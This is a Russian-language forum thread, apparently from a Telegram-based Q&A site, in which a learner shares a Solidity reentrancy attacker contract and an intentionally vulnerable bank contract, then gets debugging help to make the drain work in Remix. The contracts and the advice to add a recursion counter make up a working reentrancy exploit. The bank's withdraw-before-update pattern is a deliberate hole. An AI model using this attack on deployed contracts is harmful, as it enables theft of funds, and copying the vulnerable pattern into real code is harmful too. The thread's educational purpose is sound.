209 похожих чатов

Привет, пытаюсь сделать reentering attack в remix контракт атакера: // SPDX-License-Identifier: GPL-3.0 pragma

solidity >=0.7.0 <0.9.0;
import "hardhat/console.sol";

interface IEthBank {
function deposit() external payable;
function withdrow() external;
}

contract Attacker {
IEthBank public immutable bank;
address public owner;

modifier onlyOwner() {
console.log("sender");
console.log(msg.sender);
console.log("owner");
console.log(owner);
require(msg.sender == owner, "only owner can call this function");
_;
}

constructor(address addressToAttack) {
bank = IEthBank(addressToAttack);
owner = msg.sender;
}

function attack() external payable onlyOwner {
bank.deposit{value: msg.value}();
bank.withdrow();
}

receive() external payable {
console.log("recieve()");
if(address(bank).balance > 0) {
console.log("reentering");
bank.withdrow();
} else {
payable(owner).transfer(address(this).balance);
}
}
}
контракт банка:
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;
import "hardhat/console.sol";

contract Ethbank {
address owner;
mapping (address => uint256) public balances;

constructor() {
owner = msg.sender;
}

modifier onlyOwner() {
require(msg.sender == owner, "only owner can call this contract function");
_;
}

function deposit() external payable {
balances[msg.sender] += msg.value;
}

function withdrow() external {
require(balances[msg.sender] > 0, "no money on sender");

console.log("================== balance");
console.log(address(this).balance);
payable(msg.sender).transfer(balances[msg.sender]);
balances[msg.sender] = 0;
}

function getCurrentBalance() external view returns (uint) {
return address(this).balance;
}

function getAddress() external view returns (address) {
return address(this);
}
}
выводит такое сообщение:
логи:
 sender
 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
 owner
 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
 ================== balance
 73000000000000000000
 recieve()
 reentering
ошибка:
transact to Attacker.attack errored: VM error: revert.

revert
The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance.
Debug the transaction to get more information.
получается при попытке в методе receive вызвать ещё раз bank.withdraw выпадает эта хрень. Почему? В чем косяк?

5 ответов

16 просмотров

в консоль.логи можно аргументы через запятую писать. Много не пробовал, но название переменной + саму переменную точно можно объединить в один) withdrAw https://habr.com/ru/post/655639/ тут есть статья про реентрански, ток это перевод статьи 19 года, так что версия солидити не новая. В образовательных целях, наверно проще попробовать воспроизвести реентранси атаку на какой-нибудь ^0.4.0 версии. Синтаксис там будет несколько другой, зато разные дыры точно работают. В коде у вас сейчас написана бесконечная рекурсия, так что даже когда поймете чо за ошибка падает и почему, работать все равно не будет, потому что будет бесконечно входить в виздровал, сожрет весь газ и отвалится по нехватки газа (ну или штатно выйдет украв все деньги, если газа хватит). Лучше переделать просто на один рекурсивный вызов, а не бесконечный. Возможно вы что-то с газом не правильно задаете, или виртуальная машина что-то отптимизирует избыточно. Попробуйте задать или поменять газовый лимит транзакции которую вызываете. На счет 2300 газа, то что писали, это вроде не то, и в ресив функции можно вызывать другие методы (но это не точно, пожтому лучше версию солидити понизить до четвертой, где точно можно было творить бардак и где небыло ресив функции, а была fallback). И библиотеку address.sol из опензеппелинов вы не используете, так что вероятно ссылка скинутая выше вам не пригодится

Ваня- Автор вопроса
Vasiliy Tikhonenko
в консоль.логи можно аргументы через запятую писат...

Я заменил и помогло. Да, в какой-то момент отваливается по газу

Ваня
Я заменил и помогло. Да, в какой-то момент отвалив...

отваливается по газу, потому что у вас не определен выход из рекурсии. Надо в аткующий контракт добавить счетчик, обновлять его при использовании (до вызова виздровал) и в ресиве дописать if в начале, что если счетчик стал больше 1, тогда ничего не делать и просто завершить выполнение функции

Ваня- Автор вопроса

Похожие вопросы

Обсуждают сегодня

@Benzenoid can you tell me the easiest, and safest way to bu.y HEX now?
Živa Žena
20
This is a question from my wife who make a fortune with memes 😂😂 About the Migration and Tokens: 1. How will the old tokens be migrated to the new $LGCYX network? What is th...
🍿 °anton°
2
What is the Dex situation? Agora team started with the Pnetwork for their dex which helped them both with integration. It’s completed but as you can see from the Pnetwork ann...
Ben
1
Anyone knows where there are some instructions or discort about failed bridge transactions ?
Jochem
21
@lozuk how do I get my phex copies of my ehex from a atomic wallet, to move to my rabby?
Justfrontin 👀
11
Hello, Is iExec also part of the "inception program" or another one ? Would it be a name to qualified the nature of the relationship between iExec and Nvidia? And does Secret ...
Ñïķøłäś
8
Ready for some fun AND a chance to win TKO Tokens? Join us for exciting minigames in our Telegram group! 🕒 Don’t miss out—games start on today 25 October 2024, at 8 PM! Ge...
Milkyway | Tokocrypto
255
any reference of this implementation?
BitBuddha
29
Also, why can’t the community have a vote/ say when it comes to initiatives like buybacks. Isn’t the point of crypto decentralisation? Don’t we deserve input as long term supp...
👨🏽‍🦰
13
Hi guys, any problem with Pulsebrige? Trying to transfer from wETH to ETH. First it tells me to connect my metamask "through mobile app" not desktop. Then I did and confirmed ...
Snowflakecrypto
13
Карта сайта